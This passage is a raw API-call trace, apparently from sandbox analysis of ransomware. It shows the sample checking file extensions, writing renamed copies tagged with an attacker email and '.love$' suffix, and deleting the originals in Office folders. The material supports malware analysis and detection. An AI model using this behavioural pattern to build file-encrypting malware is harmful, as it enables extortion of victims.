shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0224.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0224.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0224.512] lstrlenW (lpString=".doc") returned 4 [0224.512] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.512] lstrlenW (lpString=".docx") returned 5 [0224.512] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.512] lstrlenW (lpString=".pdf") returned 4 [0224.512] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.512] lstrlenW (lpString=".xls") returned 4 [0224.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.512] lstrlenW (lpString=".xlsx") returned 5 [0224.512] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.512] lstrlenW (lpString=".ppt") returned 4 [0224.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0224.512] lstrlenW (lpString=".zip") returned 4 [0224.512] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.512] lstrlenW (lpString=".rar") returned 4 [0224.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.512] lstrlenW (lpString=".bz2") returned 4 [0224.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.512] lstrlenW (lpString=".7z") returned 3 [0224.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0224.597] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f0018, Size=0x2000) returned 0x6f0018 [0224.597] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[im.online@aol.com].love$")) returned 0 [0225.954] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14428) returned 1 [0225.954] CloseHandle (hObject=0x42c) returned 1 [0225.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0225.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0225.956] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.956] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0225.959] GetLastError () returned 0x0 [0225.959] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x385c, lpOverlapped=0x0) returned 1 [0225.988] WriteFile (in: hFile=0x44c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3860, lpOverlapped=0x0) returned 1 [0225.996] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0225.996] WriteFile (in: hFile=0x44c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0225.996] SetEndOfFile (hFile=0x44c) returned 1 [0225.996] CloseHandle (hObject=0x44c) returned 1 [0226.000] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.000] SetEndOfFile (hFile=0x42c) returned 1 [0226.004] CloseHandle (hObject=0x42c) returned 1 [0226.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0226.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.008] lstrlenW (lpString=".doc") returned 4 [0226.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.008] lstrlenW (lpString=".docx") returned 5 [0226.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.008] lstrlenW (lpString=".pdf") returned 4 [0226.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.008] lstrlenW (lpString=".xls") returned 4 [0226.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.009] lstrlenW (lpString=".xlsx") returned 5 [0226.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.009] lstrlenW (lpString=".ppt") returned 4 [0226.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.009] lstrlenW (lpString=".zip") returned 4 [0226.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.009] lstrlenW (lpString=".rar") returned 4 [0226.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString=".bz2") returned 4 [0226.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString=".7z") returned 3 [0226.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.009] lstrlenW (lpString=".dbf") returned 4 [0226.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.009] lstrlenW (lpString=".1cd") returned 4 [0226.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.009] lstrlenW (lpString=".jpg") returned 4 [0226.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.009] lstrlenW (lpString=".doc") returned 4 [0226.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString=".docx") returned 5 [0226.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.009] lstrlenW (lpString=".pdf") returned 4 [0226.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.009] lstrlenW (lpString=".xls") returned 4 [0226.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.009] lstrlenW (lpString=".xlsx") returned 5 [0226.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.010] lstrlenW (lpString=".ppt") returned 4 [0226.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.010] lstrlenW (lpString=".zip") returned 4 [0226.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.010] lstrlenW (lpString=".rar") returned 4 [0226.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.010] lstrlenW (lpString=".bz2") returned 4 [0226.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.010] lstrlenW (lpString=".7z") returned 3 [0226.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.010] lstrlenW (lpString=".dbf") returned 4 [0226.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.010] lstrlenW (lpString=".1cd") returned 4 [0226.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0226.010] lstrlenW (lpString=".jpg") returned 4 [0226.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.010] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.010] lstrlenW (lpString="AN01039_.WMF") returned 12 [0226.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.011] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3344) returned 1 [0226.011] CloseHandle (hObject=0x42c) returned 1 [0226.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0226.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.012] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.012] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0226.012] GetLastError () returned 0x0 [0226.012] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xd10, lpOverlapped=0x0) returned 1 [0226.281] WriteFile (in: hFile=0x44c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xd20, lpOverlapped=0x0) returned 1 [0226.285] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0226.285] WriteFile (in: hFile=0x44c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0226.285] SetEndOfFile (hFile=0x44c) returned 1 [0226.285] CloseHandle (hObject=0x44c) returned 1 [0226.289] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0226.289] SetEndOfFile (hFile=0x42c) returned 1 [0226.293] CloseHandle (hObject=0x42c) returned 1 [0226.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0227.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.174] lstrlenW (lpString=".doc") returned 4 [0227.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.174] lstrlenW (lpString=".docx") returned 5 [0227.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.174] lstrlenW (lpString=".pdf") returned 4 [0227.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.174] lstrlenW (lpString=".xls") returned 4 [0227.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.174] lstrlenW (lpString=".xlsx") returned 5 [0227.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.174] lstrlenW (lpString=".ppt") returned 4 [0227.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.174] lstrlenW (lpString=".zip") returned 4 [0227.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.174] lstrlenW (lpString=".rar") returned 4 [0227.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.174] lstrlenW (lpString=".bz2") returned 4 [0227.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.174] lstrlenW (lpString=".7z") returned 3 [0227.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.174] lstrlenW (lpString=".dbf") returned 4 [0227.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.175] lstrlenW (lpString=".1cd") returned 4 [0227.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.175] lstrlenW (lpString=".jpg") returned 4 [0227.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.175] lstrlenW (lpString=".doc") returned 4 [0227.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString=".docx") returned 5 [0227.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.175] lstrlenW (lpString=".pdf") returned 4 [0227.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString=".xls") returned 4 [0227.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.175] lstrlenW (lpString=".xlsx") returned 5 [0227.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.175] lstrlenW (lpString=".ppt") returned 4 [0227.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.175] lstrlenW (lpString=".zip") returned 4 [0227.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.175] lstrlenW (lpString=".rar") returned 4 [0227.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.175] lstrlenW (lpString=".bz2") returned 4 [0227.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.176] lstrlenW (lpString=".7z") returned 3 [0227.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.176] lstrlenW (lpString=".dbf") returned 4 [0227.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.176] lstrlenW (lpString=".1cd") returned 4 [0227.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0227.176] lstrlenW (lpString=".jpg") returned 4 [0227.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.176] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.176] lstrlenW (lpString="AN01545_.WMF") returned 12 [0227.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.179] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7372) returned 1 [0227.179] CloseHandle (hObject=0x404) returned 1 [0227.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0227.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.180] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.180] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0227.182] GetLastError () returned 0x0 [0227.182] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0227.220] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0227.253] ReadFile (in: hFile=0x404, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.253] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.253] SetEndOfFile (hFile=0x450) returned 1 [0227.278] CloseHandle (hObject=0x450) returned 1 [0227.285] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.285] SetEndOfFile (hFile=0x404) returned 1 [0227.303] CloseHandle (hObject=0x404) returned 1 [0227.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0227.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.327] lstrlenW (lpString=".doc") returned 4 [0227.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.327] lstrlenW (lpString=".docx") returned 5 [0227.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.327] lstrlenW (lpString=".pdf") returned 4 [0227.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.327] lstrlenW (lpString=".xls") returned 4 [0227.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.328] lstrlenW (lpString=".xlsx") returned 5 [0227.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.328] lstrlenW (lpString=".ppt") returned 4 [0227.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.328] lstrlenW (lpString=".zip") returned 4 [0227.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.328] lstrlenW (lpString=".rar") returned 4 [0227.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.328] lstrlenW (lpString=".bz2") returned 4 [0227.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.328] lstrlenW (lpString=".7z") returned 3 [0227.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.328] lstrlenW (lpString=".dbf") returned 4 [0227.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.328] lstrlenW (lpString=".1cd") returned 4 [0227.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.328] lstrlenW (lpString=".jpg") returned 4 [0227.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0227.328] lstrlenW (lpString=".doc") returned 4 [0227.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.329] lstrlenW (lpString=".docx") returned 5 [0227.329] lstrcmpiW 